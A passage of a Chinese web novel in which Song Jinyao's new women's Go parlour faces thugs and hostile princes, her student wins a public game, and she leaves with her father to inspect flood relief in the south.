就在众人对招牌议论纷纷时,突然,几个凶神恶煞的大汉从人群中挤出来,为首的满脸横肉,光着膀子,露出胸口狰狞的纹身,他大踏步走到宋锦瑶面前。
他双手抱胸,恶狠狠说道:“小娘子,知道大昭没有女子会下棋,还执意开女子棋阁?这京城的地盘,可不是你想占就占的!”
楚栀子吓得躲到宋锦瑶身后,紧紧抓住她的衣角。宋锦初见状,眉头紧皱,刚想上去较量,被宋锦瑶一把拉着。
宋锦瑶毫不畏惧地直视大汉的眼睛,质问道:“这位壮士,我与你往日无冤近日无仇,今日我棋阁开业,你却执意来闹事?”
大汉一听,不但没有收敛,反而笑得更张狂:“闹事?老子就是看你不顺眼!这京城的大街小巷,什么生意能做,什么不能做,都得听我们的!
“你一个女流之辈,还想打破规矩,开什么女子棋阁,简直是笑话!识相的,赶紧把这破招牌摘了,卷铺盖走人,不然,有你好看的!”
闻言,周围人群纷纷往后退,围成一个圈,指指点点又不敢上前。
大汉身旁小弟一脚踹翻棋阁门口摆放的花篮,他扯嗓子叫嚷:“自古以来,下棋都是爷们的事,你们开个女子棋阁,成何体统!”
旁边一个尖脸瘦子立马附和:“就是!女人就该在家相夫教子,摆弄这些棋盘棋子,简直是伤风败俗!今天你们要是不把这招牌砸了,以后就别想在这京城安生!”
因为大汉煽动人群,底下又开始叽叽喳喳颠倒黑白。
人群里一个大妈忍不住小声嘟囔:“这姑娘也没做啥坏事,开个棋阁咋就不行了。”
瘦子耳朵尖听到大妈声音,立马转头冲着大妈破口大骂:“你懂个屁!别在这儿多管闲事,小心惹祸上身!”
大妈吓得一哆嗦,赶紧闭嘴,躲到人群后面。
宋锦瑶知道,她若在这开业,肯定动了附近人的利益,指不定会在背后捣鬼,倘若她退缩了,不就是成全他人之意吗?
她攥紧拳头,强压怒火:“我这棋阁是太子殿下恩准开设的,为的是让天下女子有个下棋论道的地方,光明正大,你们若再无理取闹,我便报官处理!”
大汉一听“太子殿下”四个字,脸色微微一变,但仍不死心,还想继续威胁。
一旁的楚栀子实在看不下去,鼓起勇气站上去,质问道:“凭口舌之争有何意思,既然你如此看不起女子下棋的事实,那不然用棋艺堂堂正正打败我们。”
宋锦瑶的事迹以及实力,京城内无人不知,但面对她身旁的小丫头,大汉止不住发出嗤笑声。
“好啊,就你小丫鬟片子也敢叫嚣?要是我赢了,你们这店就别想开!”
楚栀子毫不逊色道:“要是我赢了,你就滚远点,且一辈子都要承认,女子执棋,亦能赢天下之喜!”
36. 036
虽说云弈阁新开业就闹这一出并不吉利,但宋锦瑶却觉得恰恰相反。
若能在众人面前证明,除她以外的女子也能击败自以为是的男子,倒也省了她日后的烦心事。
热闹的街头,云弈阁被围得水泄不通,两人相对而坐。
楚栀子一袭素裙,眉眼间透着坚定。而大汉一副胜卷在握的傲慢姿态,看不起这里的任何人。
棋局刚开始,大汉就迫不及待将黑子落在星位,又在旁边的小目落下一子,形成常见的“座子制”开局。
就这两步棋,楚栀子便猜到他在打什么主意,但她依旧不紧不慢落在三三位。
随着棋盘上的棋子逐渐增多,局势也变得愈发复杂。大汉攻势猛烈,他不断向楚栀子白棋发起进攻,试图一举压制住白棋。
楚栀子保持平静,眼神中透着敏锐。在黑棋压迫下,灵活闪躲,不断在棋盘上拓展出自己的空间。
突然,大汉露出一丝狡黠的笑容,他果断在白棋的角部发起攻击,形成复杂的“倒垂莲”定式。
这是围棋中极为难解的定式之一,变化繁多,陷阱重重,一旦应对不当,便会陷入绝境。
看得观众发出一阵惊呼,纷纷为楚栀子捏一把汗,只有宋锦瑶嘴角微微上扬,丝毫不慌张,眼神停留在楚栀子身上。
“这‘倒垂莲’定式太凶险了,这姑娘怕是难以招架。”人群中有人小声议论道。
楚栀子指尖一顿,心跳微微加快,大脑一片空白。
【要是输了怎么办?会拖累偶像的吧,我不要,我不要看到宋姑娘好不容易得来的机会,因为我而背负骂名。】
楚栀子脑海中不由自主浮现出宋锦瑶的身影,她为了教会自己更精湛的棋艺,几乎日日夜夜与自己对弈,她不能辜负宋锦瑶的期望。
楚栀子深吸一口气,很快镇定下来,目光重新锁住棋盘。
她的手指滑过棋盒,拈起一枚白子,在空中稍作停顿,脑海中不断回想着与宋锦瑶探讨时的画面,那些创新的思路逐渐清晰起来。
她稳稳落下一子,这一步并非常规的应对方法,而是融合宋锦瑶创新思路的独特下法。
她先在看似无关紧要的位置轻轻地“碰”了一下,接着又在相邻的位置巧妙地“扳”了一手,与前一子形成一种奇妙的呼应。
这两步棋一出,周围的观众先是一愣,随即开始交头接耳。
“这姑娘下的是什么棋?从未见过如此奇怪的走法。”
“莫不是乱了方寸,瞎下了吧?”众人纷纷猜测着。
见状,大汉脸色也变得难看,他原本以为楚栀子会按照常规的定式应对,自己早已准备好后续的杀招。可眼前这两步棋,却完全出乎他的意料。
他紧盯着棋盘,额头渗出细密的汗珠,试图在记忆中寻找应对,却一无所获。
楚栀子沉浸在棋局之中,她眼神专注这棋局。不禁回想起宋锦瑶曾说过:
“围棋之道,在于打破常规,以奇制胜。在复杂的局面中,要敢于创造自己的节奏,让对手跟着你的思路走。”
此刻,她正是按照这个思路,一步步引导棋局走向。
她继续落子,巧妙运用宋锦瑶创新的“虚实转换”手法,在看似‘实’的地方虚晃一枪,又在看似‘虚’的地方暗藏杀招。
楚栀子不断弃子,又不断回收利益,将棋局的节奏牢牢地掌控在自己手中。
大汉眉头紧锁,试图通过“征子”等常规手段挽回局面,却发现每一步都被楚栀子精准预判。
楚栀子利用宋锦瑶的创新思路,不断先手定型,逐渐在黑棋阵营中构建起自己的势力。
随着棋局的深入,楚栀子优势越来越明显。大汉脸色愈发苍白,他的手开始微微颤抖,每一次落子都显得犹豫不决。
气氛愈发紧张,围观的人群屏住呼吸,眼睛死死盯着棋盘。
楚栀子抓住时机落下关键一子,整个棋盘局势瞬间明朗。她成功在黑棋的阵营中活出一块棋,完成致命一击。
【不可能,这女子为何如此厉害,她到底是什么来头!】
随着“啪”的一声,黑棋大势已去,大汉瘫坐在椅子上,满脸的不可置信。
“好!这姑娘太厉害了!”
“刚刚哪个是什么棋法?实属走得妙啊!”
人群中突然响起掌声和赞叹声,大家满脸佩服。
楚栀子起身,向众人微微欠身致谢,抬眸时正好对上宋锦瑶的目光,脸上不禁浮现出笑容。
楚栀子转过身,眼中闪过不容置疑的坚定,郑重其事对围观人说道。
“今日这一局,便是想让大家知道,女子也能在这棋盘上展现独特魅力,而并非传统观念那般无能。”
闻言,宋锦瑶回眸打量着椅子上的大汉,满脸不屑道:“如何?”
大汉不敢相信自己居然输给一个丫头,神色恍惚地摇着头,嘴里不停嘟囔着“不可能。”
尽管他不想承认,可事实就摆在眼前,那局棋大家亲眼所见。
在场的男子全都沉默起来,低着头互相打量对方,心中满是羞愧。只有女子不断涌上前,挤在宋锦瑶面前疯狂报名。
“宋姑娘求你教教我下围棋吧!”
“宋姑娘,我也想下围棋,来证明女子不比男子逊色!”
“宋姑娘……”
她们争先恐后,将屋内的男子全都挤在身后,不断乞求宋锦瑶传授棋艺。
见此情景,大汉缓缓起身趁机想逃跑,不料转身还没走一步,肩膀就被人死死扣住。
宋锦初神色凌厉盯着他,质问道:“这位公子,出口狂言却又不履行约定,要是被人告官,得定什么罪呢?”
大汉猛地回头,脸色煞白,像见了鬼一样。
他不安地咽了咽口水,强词夺理道:“我……我只是来见证下这家围棋的实力,能有什么罪!”
宋锦初不屑哼笑一声:“那可大多了,我用待御史名义捉拿你,也不犯规吧?”
“宋锦初,你这是滥用官权,就不怕我反过来咬你吗?”
“去啊,到时候看他们是信我还是信你。”他指尖稍微用力,抓得大汉嗷嗷叫,“给我阿姊和楚姑娘道歉,然后,滚。”
大汉满眼惊恐地对上那双深不见底的眼眸,吓得嘴角一抽一抽,没好气回道:“道就道,少了不起!”
他带着几名来闹事的兄弟一排站在门口,抱掌前推,弯腰鞠躬,异口同声大声说道:“宋姑娘楚姑娘,今日是我们不自量力,我等几人承认,女子执手棋不逊男儿,还请两位姑娘原谅!”
身后小弟也跟着说道:“还请两位姑娘原谅!”
此话一出,原本还哄闹的棋阁瞬间安静下来,大家纷纷停下动作,不约而同回头望向那群大汉,脸上写满惊愕地神色。
宋锦瑶停下手中账单,抬眸望去见一排整齐的队伍,朝着自己90°鞠躬的模样,引得她忍不住嘴角微扬。
虽说楚栀子在那局棋盘中获胜,但毕竟是第一次使用自己的创新法,稍有不慎就会全盘皆输,她必须还要加以改良。
一上午的时
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光过得很快,宋锦初负责清点报名人数,楚栀子负责现场教学,而宋锦瑶坐在一旁,苦恼地盯着自己编造的书籍研究。
要放是在以前,她绝对没有耐心去教导任何人,反而有极强的厌蠢症,但今日物是人非,这算是一种成长。
宋进瑶撑着脑袋苦苦冥想,望着满桌子的古籍,不禁轻轻叹了口气。
她全身投入围棋世界,一边研究黑白棋子,一边记录招数创新。直到门口响起一阵敲门声,她根本听不见。
等到对方走到面前,轻轻敲了敲桌子,宋锦瑶才慢一拍反应过来,抬头对上宋锦初那双紧皱的眼睛。
“阿姊,你还好吗?脸色看起来很差。”他一脸担忧地盯着宋锦瑶,“听小厌说,你最近经常通宵,这样下去身体会吃不消的。”
宋锦瑶挺直腰部,揉了揉自己的脸,轻笑道:“我好得很。清点完了吗?”
他轻叹了口气,回道:“上午统计共有十六位女子,其中最大是四十,最小才十三。阿姊,这样大的差距,你能保证大家都会学吗?为什么要选择折磨自己啊!”
宋锦瑶起身用手指弹了下宋锦初的额头,毫不客气道:“当然,因为我是宋锦瑶,没有什么事情能难倒我,特别是在我擅长的领域。”
这句话,她是发自内心的自信。
“过来是有什么事吗?”
“王爷在外面等你”宋锦初停顿了下,“还有公主。”
两人?为何同时过来?难不成同时找她有事?
宋锦瑶猛地转头看向他,直到宋锦初无助点头:“就是你想得那样。”
云弈阁比不上京城其他棋阁的宏大,但麻雀虽小五脏俱全,里面的设施尽显女子的细腻和温柔。
午间的阳光透过木窗一排排洒进来,宋锦瑶快步走在廊上,生怕自己耽误他们的时间。
等她快走进休息室时,一眼便瞧见公主在和徐颂祁在谈论,两人相视而笑,显得周围格外寂静,好似整个世界只剩下她们两人。
见状,宋锦瑶立马停住脚步,竟然心虚躲在墙后,总感觉此时进去,会有些打扰两人气氛。
不知为何,脑海中莫名其妙浮现出常玉恒所说的话。
【公主一直喜欢徐颂祁,而且两人从小玩到大,同时又到试婚年纪,圣上肯定会有所动作。】
如果真是如此,那她岂不是正好卡在两人中间?等会搞得里外都不是人。
她还不想得罪这两位大人,更不想自己好不容易起色的事业,因为这点情爱毁于一旦。
既然公主喜欢徐颂祁,那她就远离徐颂祁,将他与公主撮合一对,然后趁机在两人面前刷好感度,未来也少走十几年弯路。
到时候她就带着父亲和锦初吃香的喝辣的,背后还有两座靠山,一想到这,宋锦瑶止不住憨笑。
或许是笑声过于明显,里面的徐颂祁察觉到动静,好奇地朝外面喊去:“宋小姐是想到什么有趣的事吗?为何不进来与我们聊聊?”
宋锦瑶:“……”
“啊…哦…抱歉!”宋锦瑶慢一拍反应过来,瞬间羞红脸,低着头慌忙解释道,“我…刚刚听锦初说了件很奇葩的事情,所以才忍不住笑的…”
公主立马起身跑向宋锦瑶,自然挽住她的手臂,亲切说道:“宋锦瑶,我正巧有事想与你商量!”
该不会是关于徐颂祁的事吧?不会这么巧吧?
公主神神秘秘示意让她低下头,轻轻附在她的耳边,低语道:“这事不能让徐颂祁知道,拜托你了。”
就是这么巧。
37. 037
察觉到她们警惕地盯着自己,压低声音小声说话,徐颂祁顿时感到不自在,本想起身去屋外等,没想到他刚一起身,吓得宋锦瑶一个激灵将公主护在身后。
她眉头微皱,眼睛不停地朝他上下打量:“你…要干嘛!”
“我瞧着留在这,你们不好说话,便想去外面等你。”徐颂祁一脸疑惑地盯着宋锦瑶,“宋锦瑶,做贼不要将心虚写在脸上。”说罢,他忍不住哼笑一声。
宋锦瑶满脸不服气,吐槽道:“这可是我的地盘,到底谁才是贼啊!”
这话好巧不巧,一字不落地钻进徐颂祁耳朵里。
他脸上笑意越发浓郁,凑近她低声道:“好好好,我是贼。说真的,我有正事跟你商量,等你和公主谈完,可别忘了来找我。”
见她微微点头,徐颂祁这才抬起头,收起脸上肆意的笑容,转身迈着步子离开。
站在一旁的公主瞧见这幕,不禁感慨道:“徐颂祁与你这般关系,似乎比我想象中还要亲近些呢。”
闻言,宋锦瑶像是被踩了尾巴的猫,猛然回头,眼睛瞪得大大的,急忙解释道:“怎么会呢,公主千万不要怀疑,我和王爷真的没有任何关系,一点都没有!”
见她今日这般一惊一乍,公主忍不住“噗嗤”一声笑出声,调侃道:“有关系又如何,我又不介意。不说他了,宋锦瑶,今日本宫特意赶来,也是想报名,成为云弈阁正式一员!”
话音刚落,宋锦瑶刚喝进嘴的茶差点喷出,她手忙脚乱拿出手帕,擦拭嘴角残留的水渍,一脸懵逼地注视着满眼认真地公主。
不是她故意打击公主,云弈阁这地方,除了教授女子下围棋,另一方面,还能让女子收获名誉和财产,从此过上不用看别人脸色、不受他人冷眼的日子。
但皇室之人,本就既有名誉又坐拥财产,如今却跑到这,要与平民百姓一同学习,要是这事被传扬出去,云弈阁岂不是才刚起步,就直接死在第一步?
宋锦瑶努力平复好心情,对上公主的目光。
看着公主那副下定决心的面孔,宋锦瑶只好委婉道:“公主,不是我不同意,只是从古至今,就没有皇室之人与平民下棋的道理。”
公主像是早就料到她会这么说,毫不在意地摆了摆手:“你放心,大昭讲究女子平等,我才不会在意那些流言蜚语。”
可她担心啊,毕竟公主身份特殊,身上牵连的东西太多太多,她不能轻易冒险。
宋锦瑶还是摇了摇头,劝说道:“公主倘若真想学围棋,大昭境内还有更多优秀的围棋师,不一定非要来云弈阁学习。”
听到她再三拒绝自己,公主自然没了好脾气,她眉头微蹙,眼中闪过不悦:“宋锦瑶你是嫌弃我棋艺差吗?我会努力学习的,不会再像之前那般无所谓了。”
“没有,臣女绝对没有那种意思,我只是担心公主身份,怕给公主引来不必要的麻烦。”
闻言,公主突然站起身,神色郑重说道:“宋锦瑶,你本是我的围棋师,我放你走已经是对她们的大度,为何今日又不肯教我!”
宋锦瑶也赶忙起身,想安抚她的情绪,但公主一把甩开她的手,大声道:“大昭人人追捧围棋,我身为公主怎能一窍不通。曾受朝代压迫,众人思想禁锢,我只能忍气吞声,可如今你的出现恰好证明,大昭境内女子亦能击败男子。”
“人人可学围棋,为何我不可!”公主握紧拳头,不甘地喊着,“我是公主,宋锦瑶,本宫命令你从今日起,将本宫视为普通学子,教会本宫云弈阁的棋艺。”
公主被气得脸颊微微泛红,像个闹脾气的孩子,生怕她不肯教,只能搬出身份,靠权利来威胁她。
见状,宋锦瑶微微怔在原地,她看着公主一脸认真模样,无奈地轻笑道:“公主误会了,臣女只是不想让公主深陷危险中,倘若公主执意过来,那臣女只好恭敬不如从命了。”
听到她同意的声音,公主红温的脸上才稍有好转,双眼满是期待地确认道:“真的吗?宋锦瑶你真的同意我与她们一同学习?”
宋锦瑶昂首点头,纠正道:“是我身为臣的职责,日后便一对一教公主下围棋。”
她还是不愿冒险。
毕竟云弈阁今日开业便闹这一出,日后定不会太平,但公主态度如此坚定,她也只好出此下策。
好在公主欣然同意,脸上浮现出笑容,整个人已经迫不及待开始学习围棋知识。
等将公主安抚好,宋锦瑶还要去赴约。
她刚走出房门,一眼便瞧见徐颂祁蹲在地上,修长的手指不断轻轻抚摸着小猫的头,眼底的温柔像深不见底的湖水,让她的目光难以移开。
白猫十分享受,不断在地上打着滚,甚至还翻过肚皮,撒娇似的让徐颂祁摸摸,嘴里不断发出舒适的咕噜声。
宋锦瑶站在原地,目光久久盯着眼前一幕,她实在不忍打破这份宁静。
可徐颂祁好像有什么特殊的感应,指尖突然一顿,缓缓回过头来,正好与她四目对视。
他见到宋锦瑶时,眼底藏不住喜悦,立马起身朝她走去。
一阵风起,吹在徐颂祁洁白的衣衫上,可他只是静静地注视着宋锦瑶,嘴角勾起一抹浅笑,温柔至极。
“什么时候过来的?”徐颂祁歪着头,含笑看着她。
宋锦瑶不自在撇过脸:“刚才。小猫是你养的吗?”
他毫不掩饰,轻轻“嗯”了一声:“除了这只外,学堂内还有很多,想一起去看看吗?”
其实她不仅知道,还偷偷狠撸一把。
见她心虚不语,徐颂祁眯起那双狭长的眼睛,垂眸打量着宋锦瑶:“瞧你这样,都知道了?宋锦瑶,你背着我到底偷偷干了些什么?”
闻言,她赶忙退后一步,慌乱地解释道:“哪有!不要把我想得那么坏,这我还是第一次见到小猫咪呢,额呵呵…”
她眼神闪躲,试图躲避徐颂祁致命的目光。
徐颂祁无奈地叹了口气:“罢了,今日我替夫子来问你,是否还回学堂,大家都挺担心你的。”
回去?这个问题宋锦瑶还真没想过。
她低下头,陷入沉思,片刻后,重新看向徐颂祁,摇了摇头道:“我已有云弈阁在这,想等它安稳后,便与你一同回去见夫子,可好?”
徐颂祁早已料到宋锦瑶会这般回答,只不过令他没想到的是,宋锦瑶竟会带上自己。
他轻轻点头同意:“宋锦瑶,今日云弈阁之事,本王略有耳闻,只不过实属好奇,你这几日到底在研究什么棋法?”
说到这,宋锦瑶脸上闪过自豪:“我曾翻阅过无数书籍,总结出当下围棋过于死板,但只要深挖感悟内涵,再结合多年经验,便能创新出灵活的棋法。”
她其实回答得很模糊,毕竟所谓的内涵,就是指现代围棋法则而已。
好在徐颂祁听完后并没有多疑,频频点头道:“既然宋小姐如此有实力,不妨教教我吧。”
啊???
宋锦瑶怔在原地,满眼不可置信地盯着徐颂祁眼角,那抹促狭的笑容,苦涩道:“别开玩笑了,你比我厉害,哪还需要我教啊。”
“你又没和我对弈过,就这么肯定?”
“真正懂围棋的人只需看对手下棋一眼,便能知晓对方实力如何。”宋锦瑶没好气地瞪了他一眼,“我可是见过你下棋的实力,干嘛要自讨苦吃?”
今日到底是怎么回事,一个两个都跑来让她教学。
听闻此话,徐颂祁脸上非但没有失望,反而轻笑一声:“宋锦瑶,你都愿意教公主了,为何不再给我留一个名额?”
???
她猛地回头,对上那双含着笑意的眼睛,不禁退后一步:“你怎么知道!徐颂祁,亏我认为你是正人君子,没想到你还搞偷听!”
“没有偷听,猜到而已。看你这样,果真如此。”
宋锦瑶:“……”
又在试探她。
果然皇室的人一旦缠上,甩也甩不掉。
宋锦瑶没好气地“切”了一声,别过脸,鼓起腮帮子,暗暗自语道:“我才不会同意呢,除非你有本事求我。”
徐颂祁低眸凝视
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着她,欲言又止,眼中闪过一丝复杂的情绪。
犹豫片刻,他还是缓缓伸出手,轻轻握起宋锦瑶的手,放在自己胸前,抬眸时,正巧对上她一脸茫然的眼睛。
见她眼睛瞪得老大,徐颂祁只好低些脑袋,闷闷道:“宋……宋锦瑶,求求你了,好不好嘛,就教教我怎么下围棋吧。”
这也太犯规了吧!!!
宋锦瑶表面波澜不惊,内心早已经万马奔腾。
她瞬间僵在原地,只感觉耳边一阵滚烫,连重新组织语言的能力都消失不见。
“我……这……”
宋锦瑶有些语无伦次,但目光直勾勾盯着自己手的位置,能清晰感觉到徐颂祁握紧时,他掌心传来的阵阵余热。
见她不语,徐颂祁眼底的笑意更浓了,本打算继续朝她靠近,却不料这时,被一道轻咳声打断。
察觉到有外人过来,吓得宋锦瑶赶忙甩开他的手,毫不犹豫转过身去,不敢直视任何人。
“臣不是有意打扰王爷!”宋锦初也被吓了一大跳,哆哆嗦嗦说道,“只是三皇子和五皇子特意前来祝贺,臣听公主说阿姊在这,便寻了过来。”
大昭除了太子与公主外,还有许多皇室子嗣,他们手中攥紧朝代兵权与权利,存在随时会造反的可能,引得百姓人心惶惶。
其中三皇子是除了太子外,手握兵权最多的皇子,也是谋反心思最强的皇子。
听到是三皇子前来,宋锦瑶和徐颂祁同时回头,望向宋锦初,眼中不约而同透着不悦。
临近傍晚的京城,家家户户点上红灯笼。
今日是云弈阁新开业,前厅坐满男子,大家在欢声笑语打趣着对方。
等宋锦瑶他们一同赶到时,正巧碰到一位身材魁梧的壮汉站在中央,摆弄着夸张的身姿,引得众人哄堂大笑。
宋锦瑶目光随意地瞥了一眼周围,便瞧见坐在旁边的两人。
他们一脸傲慢,目中无人,脸上写满对平民的厌恶,可还要强装镇定,配合着挤出笑容,望向中央。
宋锦瑶眉头微蹙,看着好端端的棋阁被搞成这样,不仅没人下棋,甚至将女子全都赶走,她实在是难以忍受这份屈辱。
这时,三皇子好巧不巧抬眸,当他对上宋锦瑶那双温怒的眼睛时,嘴角发出一声嗤笑。
三皇子拍了拍手打断这场闹剧,在场所有人停下动作,一脸疑惑地抬头望向他。
“各位,既然云弈阁的楼主过来了,我们得意思意思下,不然让一介女子多没面子啊。”说完,底下人发出阵阵刺耳的嘲笑声。
三皇子语气中,句句透着瞧不起她,甚至连正眼都不愿多看她。
五皇子见状,赶忙轻声亲和站起身来,平息三皇子这根导火线,转身满脸歉笑,领着三皇子走到宋锦瑶面前,赔礼道歉。
原本还不屑一顾的三皇子,瞧见宋锦瑶身边的人竟是徐颂祁后,玩世不恭的态度瞬间收敛起来,但眼底的厌恶依旧藏不住。
双方毕恭毕敬行礼,五皇子怕他再闹出什么事来,抢先开口夸赞道:“曾听闻宋姑娘了得,原本还心有存疑,可如今一看,竟能在京城开一家女子棋阁,果真名副其实,本王佩服。”
宋锦瑶客气道:“五皇子谬赞,小女只想完成自己心愿罢了。倒是五皇子你,竟然带着一群人来‘光顾’小女棋楼,真是打得小女一个措手不及啊。”
傻子也听得出来宋锦瑶话中话,但注意到徐颂祁在周围,五皇子只好忍气吞声干笑。
但三皇子向来心直口快,不喜欢藏着掖着,听到宋锦瑶内涵自家兄弟,脸上顿时挂不住笑。
他怒气冲冲质问道:“那是你的荣幸,你一介女子要那么多才华干嘛,做个棋阁招牌不香吗?每天都有男的争先恐后追求。”
此话一出,宋锦瑶猛然转头看向三皇子,眼中闪过惊愕。
如果她没记错的话,徐颂祁并没有将她成为招牌一事告诉任何人,那么问题来了,三皇子到底是怎么得知此事?
他是故意说漏嘴试探宋锦瑶,还是,他就是傅渊嘴中那位大人?
38. 038
察觉到宋锦瑶眼底带有狐疑,五皇子连忙将三皇子拽到一边,赔笑道:“听闻宋姑娘日日夜夜研究围棋,本王实属感到好奇,可否赏个脸让本王瞧瞧?”
按道理说,宋锦瑶没有拒绝皇室的权利,但面对他们不怀好意的眼神,她也并未同意。
她紧抿双唇,手指不自觉攥紧,显然并不想给这种人观赏。
站在身侧的徐颂祁,将她细节全看在眼里。抬眸间,目光冷冷扫过五皇子,嘴角似有若无轻笑声:“宋小姐今日开业早已疲惫,若五皇子执意想下棋,不妨与本王对弈?”
众人皆知,徐颂祁棋艺超凡,在这京城中难逢敌手。五皇子若真与他对弈,跟鸡蛋碰石头有什么区别?
闻言,五皇子脸上的笑容瞬间僵住,还没等他开口回应,一旁的三皇子满脸不屑,道:“徐颂祁,你不过是个远房宗亲,少在这儿狐假虎威吓唬我们!”
“哦?”徐颂祁挑了挑眉,意味深长的注视着三皇子,“三皇子这话从何说起?本王倒是想听听。”
三皇子死死盯着徐颂祁:“当今圣上龙体日渐消瘦,朝局动荡。你别以为投靠太子,就可以高枕无忧、胜券在握。徐颂祁,你最好小心点,别让我抓到你的把柄,否则,我定将你碎尸万段!”
“碎尸万段?听起来怪吓人的。”徐颂祁神色平静,嘴角依旧挂着淡淡的笑意,“我可没你那么心狠手辣。不过,若是日后我站到最后,倒是可以大发慈悲,给你留个选择死亡方式的权利。”
“你!”三皇子眼球布满血丝,咬牙切齿指向徐颂祁,恨不得现在就将他五马分尸。
见场面失控,五皇子赶忙打圆场。
他按下三皇子指着人的手指,对着徐颂祁和宋锦瑶一脸歉意说道:“今日是我二人唐突,实在抱歉。宋姑娘日后若在这京城中遇到什么难处,受了什么欺负,尽管报上本王的名号。”
“多谢五皇子抬爱,不过不必了。”宋锦瑶毫不客气拒绝,“有王爷在身边,便足以护我周全。见天色也不早,五皇子和三皇子还是早些回宫吧,免得宫中牵挂。”
她话说得委婉,可逐客之意十分明显。
两位皇子自然也、听出她的言外之意,脸上虽维持着微笑,可心里却窝着一肚子火。
五皇子强扯出笑容,说道:“既然宋姑娘这么说了,那过些日子,本王再来这云弈阁拜访。”说罢,转身带着一肚子气离开。
临走前,三皇子还不甘心地瞪了宋锦瑶一眼,低声威胁道:“宋姑娘,你这云弈阁的位子可得坐稳咯,不然,摔下来的时候,可有的你疼!”
两人一走,原本熙熙攘攘的前厅内,顿时少了一大半人,留下一片杂乱。
耳边终于恢复清净,她不禁请叹了口气,眼底满是疲惫。
徐颂祁目光落在其中,担忧道:“你还好吗?”
“好得很!放狠话谁不会啊!”宋锦瑶抬起头,目光与他交汇,“等日后他们落到你手里,可千万别手软,我最讨厌这种仗势欺人的人了!”
闻言,徐颂祁惊愕地看着他,嘴角忍不住轻笑:“好。”
等忙完云弈阁的事情后,屋外已是一片漆黑。宋锦瑶放下笔,伸了伸懒腰便起身朝屋外走去。
今日闹出一茬接一茬的事来,按道理她本该叹气惆怅,可不知为何,竟意外感到一丝幸灾乐祸的情绪。
或者说,她从现在开始,才正式触碰到哪些人害怕之事,所以才会导致他们隐隐不安,不断打压她。
想到这,一路上她都哼着小曲走到前厅,正准备锁门打烊时,不经意间瞥见角落里的小房间还亮着灯。
宋锦瑶停下脚步,疑惑地朝里面走去。一眼便瞧见宋锦初趴在桌子,手中还紧紧握着笔,似乎他也没意识到自己什么时候睡过去的。
宋锦瑶放轻脚步走到他身旁,垂眸盯着眼前浅睡的人,不禁莞尔一笑。
明明这些事情与他并无直接关联,可他还是固执地帮自己,哪怕累到这般地步,手中的笔都未曾松开。
眼见天色已晚,宋锦瑶抬手想要推醒宋锦初,不料手刚伸出的瞬间,身下的人猛然惊醒,动作敏捷地躲开,反手便扣住宋锦瑶的手腕,眼中透出瘆人的目光。
抬眸时,凌厉的眼睛好似半点人情也没有。
在看清来人竟是宋锦瑶后,宋锦初明显怔在原地,深沉的眸子转瞬即逝,混沌的眼睛立马变得清澈起来。
“阿姊?你怎么会这里?”宋锦初眨巴着大眼睛,疑惑道,“不对,我怎么睡过去了!”
“是啊,这句话本该我问你。你不应该和栀子一同离开了吗?什么时候又回到这里了?”
被这么一问,宋锦初才回过神来,结结巴巴地解释道:“我……我瞧见阿姊的办公间还亮着灯,想着阿姊一个人留在这不安全,就又回来帮阿姊重新整理名单。”说着,他将整理好的名单递给宋锦瑶查看。
宋锦瑶接过名单,看都没看丢在桌子上,神色柔和道:“今日已经很晚了,这些事留给明天也不晚,我们回家吧。”
之后的日子像是被人摁了加速键,宋锦瑶每天早上都会教棋阁女子学围棋,午间腾出时间继续改良棋法,晚上便偷摸进宫教公主。
小厌也因为每天在宋锦瑶身侧照顾她,多多少少对围棋有一定了解,自然成了公主学习围棋的伙伴,两人有事没事就喜欢下棋对弈,从对方身上学习围棋实战经验。
虽说徐颂祁也说过让她教导,但自从那次之后,她便听闻他似乎离开京城去办事,想必也是关乎朝廷。
云弈阁名声越来越大,质疑声也越来越多。甚至有人传,宋锦瑶想组织女子集体脱离男子束缚。
这下,他们是真的慌了,每家每户开始将妻子女儿锁在家中,只要敢去云弈阁,一律打断腿。
云弈阁的女子越来越少,甚至最后都没有人愿意报名。
近来,大昭被阴霾笼罩,阴雨连绵,下个不停。
晚间,御史府内。
宋锦瑶闷闷不乐看着桌子上的菜肴,实在是吃不下去,满脸惆怅,时不时叹口气。
注意到她最近情绪变化,宋锦初夜不知如何安慰。这碗饭吃得实属难受。
宋老爷子夹起一块肉放进她的碗中,安慰道:“瑶儿,我听说云弈阁近来的风评,你也别太往心里去。这种陈旧的思想在世间流传已久,想要一下子彻底根除,谈何容易。”
“是啊,阿姊。”宋锦初连忙附和,“这恰恰说明云弈阁的影响力在不断扩大。只要我们能在比赛中用实力打脸那些质疑的人,他们对这种传统观念肯定会有所改观。”
道理她都懂,只不过现在她感到无能为力,对这种思想不知如何下手。
“啊——”宋锦瑶烦躁地将头埋在桌子上,不语。
这还是他们第一次见宋锦瑶如此消沉,父子俩无奈地对视一眼,纷纷低下头,陷入沉默。
外面大雨持久不歇,人们连续好几周都未曾见到太阳。
宋老爷子抬眸,看向宋锦瑶,神色凝重,缓缓说道:“瑶儿,近来滂沱大雨南方水患,朝廷赠予当地赈灾银两,可过半月余载,南方依然上报需要求助,圣上派遣我到那边进行巡查,考察地方官员是否失职渎职的情况,同时了解民生疾苦。”
宋老爷子顿了顿,继续说道:“云弈阁如今受困于旧思想的束缚,难以突破。你不如跟为父一同前往南方,去看看当地百姓的生活状况。一来,让
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你领略不同地方的风土人情;二来,出去走走,也能让你散散心,缓解心中的烦闷。”
宋老爷子说得在理,与其在这京城中坐以待毙,不如出去闯荡一番,见识一下外面的世界。
闻言,宋锦瑶思考片刻,点头表示同意。
这是一次难得的体验,说不定还能借此机会,为那些受灾的百姓出份力。
临走前,宋锦瑶特意将云弈阁托付给楚栀子,叮嘱她倘若有人来闹事,便立马告知宋锦初,他不会坐视不管。
这次他们要去的地方叫“芙蕖城”。这是一座位于江南水乡的城市,向来以荷花闻名,夏日满池绽放。
芙蕖城是大招江南重要区域,经济发达,文化繁荣,但只因水患泛滥,百姓生活困苦,流离失所,实属让人感到奇怪。
一路上,宋锦瑶和小厌两人相互讨论此地。小厌信誓旦旦说道:“小姐,我觉得这芙蕖城的官员肯定有问题。听老爷说,当地上报求助都不是一两次了,而且都是些小官出面,可见那些大官没少在背后掩盖事实!。”
宋锦瑶神色凝重附和道:“这次朝廷派父亲前去勘察,那些官员恐怕早就做好应对的准备。之后想要从他们嘴里撬出实话,怕是难如登天。”
马车走进芙蕖城地带时,原本郁郁葱葱的荷花苗,已经被洪水冲得七零八落,只剩下残败的荷叶漂浮在污水上,一片狼藉。
芙蕖城的百姓大多居住在河岸边上,这场大雨引发洪水,房屋几乎全被淹没。
